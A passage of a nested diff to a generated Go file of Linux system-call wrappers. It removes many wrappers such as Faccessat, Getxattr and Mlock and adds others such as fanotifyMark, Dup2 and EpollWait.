-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Faccessat(dirfd int, path string, mode uint32, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FACCESSAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-- _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off>>32), uintptr(off), uintptr(len>>32), uintptr(len))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchdir(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FCHDIR, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchmod(fd int, mode uint32) (err error) {
-- _, _, e1 := Syscall(SYS_FCHMOD, uintptr(fd), uintptr(mode), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fchownat(dirfd int, path string, uid int, gid int, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_FCHOWNAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(uid), uintptr(gid), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func fcntl(fd int, cmd int, arg int) (val int, err error) {
-- r0, _, e1 := Syscall(SYS_FCNTL, uintptr(fd), uintptr(cmd), uintptr(arg))
-- val = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fdatasync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FDATASYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Flock(fd int, how int) (err error) {
-- _, _, e1 := Syscall(SYS_FLOCK, uintptr(fd), uintptr(how), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Fsync(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_FSYNC, uintptr(fd), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getdents(fd int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETDENTS64, uintptr(fd), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpgid(pid int) (pgid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETPGID, uintptr(pid), 0, 0)
-- pgid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpid() (pid int) {
-- r0, _, _ := RawSyscall(SYS_GETPID, 0, 0, 0)
-- pid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getppid() (ppid int) {
-- r0, _, _ := RawSyscall(SYS_GETPPID, 0, 0, 0)
-- ppid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getpriority(which int, who int) (prio int, err error) {
-- r0, _, e1 := Syscall(SYS_GETPRIORITY, uintptr(which), uintptr(who), 0)
-- prio = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrandom(buf []byte, flags int) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_GETRANDOM, uintptr(_p0), uintptr(len(buf)), uintptr(flags))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getrusage(who int, rusage *Rusage) (err error) {
-- _, _, e1 := RawSyscall(SYS_GETRUSAGE, uintptr(who), uintptr(unsafe.Pointer(rusage)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getsid(pid int) (sid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_GETSID, uintptr(pid), 0, 0)
-- sid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Gettid() (tid int) {
-- r0, _, _ := RawSyscall(SYS_GETTID, 0, 0, 0)
-- tid = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Getxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_GETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyAddWatch(fd int, pathname string, mask uint32) (watchdesc int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(pathname)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall(SYS_INOTIFY_ADD_WATCH, uintptr(fd), uintptr(unsafe.Pointer(_p0)), uintptr(mask))
-- watchdesc = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyInit1(flags int) (fd int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_INIT1, uintptr(flags), 0, 0)
-- fd = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func InotifyRmWatch(fd int, watchdesc uint32) (success int, err error) {
-- r0, _, e1 := RawSyscall(SYS_INOTIFY_RM_WATCH, uintptr(fd), uintptr(watchdesc), 0)
-- success = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Kill(pid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_KILL, uintptr(pid), uintptr(sig), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Klogctl(typ int, buf []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(buf) > 0 {
-- _p0 = unsafe.Pointer(&buf[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_SYSLOG, uintptr(typ), uintptr(_p0), uintptr(len(buf)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lgetxattr(path string, attr string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(dest) > 0 {
-- _p2 = unsafe.Pointer(&dest[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall6(SYS_LGETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(dest)), 0, 0)
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Listxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Llistxattr(path string, dest []byte) (sz int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 unsafe.Pointer
-- if len(dest) > 0 {
-- _p1 = unsafe.Pointer(&dest[0])
-- } else {
-- _p1 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_LLISTXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(_p1), uintptr(len(dest)))
-- sz = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lremovexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_LREMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Lsetxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_LSETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mkdirat(dirfd int, path string, mode uint32) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_MKDIRAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mknodat(dirfd int, path string, mode uint32, dev int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_MKNODAT, uintptr(dirfd), uintptr(unsafe.Pointer(_p0)), uintptr(mode), uintptr(dev), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Nanosleep(time *Timespec, leftover *Timespec) (err error) {
-- _, _, e1 := Syscall(SYS_NANOSLEEP, uintptr(unsafe.Pointer(time)), uintptr(unsafe.Pointer(leftover)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func PivotRoot(newroot string, putold string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(newroot)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(putold)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_PIVOT_ROOT, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func prlimit(pid int, resource int, newlimit *Rlimit, old *Rlimit) (err error) {
-- _, _, e1 := RawSyscall6(SYS_PRLIMIT64, uintptr(pid), uintptr(resource), uintptr(unsafe.Pointer(newlimit)), uintptr(unsafe.Pointer(old)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Prctl(option int, arg2 uintptr, arg3 uintptr, arg4 uintptr, arg5 uintptr) (err error) {
-- _, _, e1 := Syscall6(SYS_PRCTL, uintptr(option), uintptr(arg2), uintptr(arg3), uintptr(arg4), uintptr(arg5), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func read(fd int, p []byte) (n int, err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Removexattr(path string, attr string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_REMOVEXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Renameat(olddirfd int, oldpath string, newdirfd int, newpath string) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(oldpath)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(newpath)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall6(SYS_RENAMEAT, uintptr(olddirfd), uintptr(unsafe.Pointer(_p0)), uintptr(newdirfd), uintptr(unsafe.Pointer(_p1)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func RequestKey(keyType string, description string, callback string, destRingid int) (id int, err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(keyType)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(description)
-- if err != nil {
-- return
-- }
-- var _p2 *byte
-- _p2, err = BytePtrFromString(callback)
-- if err != nil {
-- return
-- }
-- r0, _, e1 := Syscall6(SYS_REQUEST_KEY, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(unsafe.Pointer(_p2)), uintptr(destRingid), 0, 0)
-- id = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setdomainname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETDOMAINNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sethostname(p []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_SETHOSTNAME, uintptr(_p0), uintptr(len(p)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpgid(pid int, pgid int) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETPGID, uintptr(pid), uintptr(pgid), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setsid() (pid int, err error) {
-- r0, _, e1 := RawSyscall(SYS_SETSID, 0, 0, 0)
-- pid = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Settimeofday(tv *Timeval) (err error) {
-- _, _, e1 := RawSyscall(SYS_SETTIMEOFDAY, uintptr(unsafe.Pointer(tv)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setns(fd int, nstype int) (err error) {
-- _, _, e1 := Syscall(SYS_SETNS, uintptr(fd), uintptr(nstype), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setpriority(which int, who int, prio int) (err error) {
-- _, _, e1 := Syscall(SYS_SETPRIORITY, uintptr(which), uintptr(who), uintptr(prio))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Setxattr(path string, attr string, data []byte, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(path)
-- if err != nil {
-- return
-- }
-- var _p1 *byte
-- _p1, err = BytePtrFromString(attr)
-- if err != nil {
-- return
-- }
-- var _p2 unsafe.Pointer
-- if len(data) > 0 {
-- _p2 = unsafe.Pointer(&data[0])
-- } else {
-- _p2 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall6(SYS_SETXATTR, uintptr(unsafe.Pointer(_p0)), uintptr(unsafe.Pointer(_p1)), uintptr(_p2), uintptr(len(data)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Sync() {
-- Syscall(SYS_SYNC, 0, 0, 0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Syncfs(fd int) (err error) {
-- _, _, e1 := Syscall(SYS_SYNCFS, uintptr(fd), 0, 0)
-+func fanotifyMark(fd int, flags uint, mask uint64, dirFd int, pathname *byte) (err error) {
-+ _, _, e1 := Syscall6(SYS_FANOTIFY_MARK, uintptr(fd), uintptr(flags), uintptr(mask>>32), uintptr(mask), uintptr(dirFd), uintptr(unsafe.Pointer(pathname)))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1244,8 +24,8 @@ func Syncfs(fd int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Sysinfo(info *Sysinfo_t) (err error) {
-- _, _, e1 := RawSyscall(SYS_SYSINFO, uintptr(unsafe.Pointer(info)), 0, 0)
-+func Fallocate(fd int, mode uint32, off int64, len int64) (err error) {
-+ _, _, e1 := Syscall6(SYS_FALLOCATE, uintptr(fd), uintptr(mode), uintptr(off>>32), uintptr(off), uintptr(len>>32), uintptr(len))
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1265,62 +45,8 @@ func Tee(rfd int, wfd int, len int, flags int) (n int64, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Tgkill(tgid int, tid int, sig syscall.Signal) (err error) {
-- _, _, e1 := RawSyscall(SYS_TGKILL, uintptr(tgid), uintptr(tid), uintptr(sig))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Times(tms *Tms) (ticks uintptr, err error) {
-- r0, _, e1 := RawSyscall(SYS_TIMES, uintptr(unsafe.Pointer(tms)), 0, 0)
-- ticks = uintptr(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Umask(mask int) (oldmask int) {
-- r0, _, _ := RawSyscall(SYS_UMASK, uintptr(mask), 0, 0)
-- oldmask = int(r0)
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Uname(buf *Utsname) (err error) {
-- _, _, e1 := RawSyscall(SYS_UNAME, uintptr(unsafe.Pointer(buf)), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unmount(target string, flags int) (err error) {
-- var _p0 *byte
-- _p0, err = BytePtrFromString(target)
-- if err != nil {
-- return
-- }
-- _, _, e1 := Syscall(SYS_UMOUNT2, uintptr(unsafe.Pointer(_p0)), uintptr(flags), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Unshare(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_UNSHARE, uintptr(flags), 0, 0)
-+func Dup2(oldfd int, newfd int) (err error) {
-+ _, _, e1 := Syscall(SYS_DUP2, uintptr(oldfd), uintptr(newfd), 0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1329,8 +55,9 @@ func Unshare(flags int) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func Ustat(dev int, ubuf *Ustat_t) (err error) {
-- _, _, e1 := Syscall(SYS_USTAT, uintptr(dev), uintptr(unsafe.Pointer(ubuf)), 0)
-+func EpollCreate(size int) (fd int, err error) {
-+ r0, _, e1 := RawSyscall(SYS_EPOLL_CREATE, uintptr(size), 0, 0)
-+ fd = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
- }
-@@ -1339,46 +66,14 @@ func Ustat(dev int, ubuf *Ustat_t) (err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func write(fd int, p []byte) (n int, err error) {
-+func EpollWait(epfd int, events []EpollEvent, msec int) (n int, err error) {
- var _p0 unsafe.Pointer
-- if len(p) > 0 {
-- _p0 = unsafe.Pointer(&p[0])
-+ if len(events) > 0 {
-+ _p0 = unsafe.Pointer(&events[0])
- } else {
- _p0 = unsafe.Pointer(&_zero)
- }
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(_p0), uintptr(len(p)))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func exitThread(code int) (err error) {
-- _, _, e1 := Syscall(SYS_EXIT, uintptr(code), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func readlen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_READ, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-- n = int(r0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func writelen(fd int, p *byte, np int) (n int, err error) {
-- r0, _, e1 := Syscall(SYS_WRITE, uintptr(fd), uintptr(unsafe.Pointer(p)), uintptr(np))
-+ r0, _, e1 := Syscall6(SYS_EPOLL_WAIT, uintptr(epfd), uintptr(_p0), uintptr(len(events)), uintptr(msec), 0, 0)
- n = int(r0)
- if e1 != 0 {
- err = errnoErr(e1)
-@@ -1388,118 +83,8 @@ func writelen(fd int, p *byte, np int) (n int, err error) {
-
- // THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
-
--func munmap(addr uintptr, length uintptr) (err error) {
-- _, _, e1 := Syscall(SYS_MUNMAP, uintptr(addr), uintptr(length), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Madvise(b []byte, advice int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MADVISE, uintptr(_p0), uintptr(len(b)), uintptr(advice))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mprotect(b []byte, prot int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MPROTECT, uintptr(_p0), uintptr(len(b)), uintptr(prot))
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Munlock(b []byte) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MUNLOCK, uintptr(_p0), uintptr(len(b)), 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Mlockall(flags int) (err error) {
-- _, _, e1 := Syscall(SYS_MLOCKALL, uintptr(flags), 0, 0)
-- if e1 != 0 {
-- err = errnoErr(e1)
-- }
-- return
--}
--
--// THIS FILE IS GENERATED BY THE COMMAND AT THE TOP; DO NOT EDIT
--
--func Msync(b []byte, flags int) (err error) {
-- var _p0 unsafe.Pointer
-- if len(b) > 0 {
-- _p0 = unsafe.Pointer(&b[0])
-- } else {
-- _p0 = unsafe.Pointer(&_zero)
-- }
-- _, _, e1 := Syscall(SYS_MSYNC, uintptr(_p0), uintptr(len(b)), uintptr(flags))
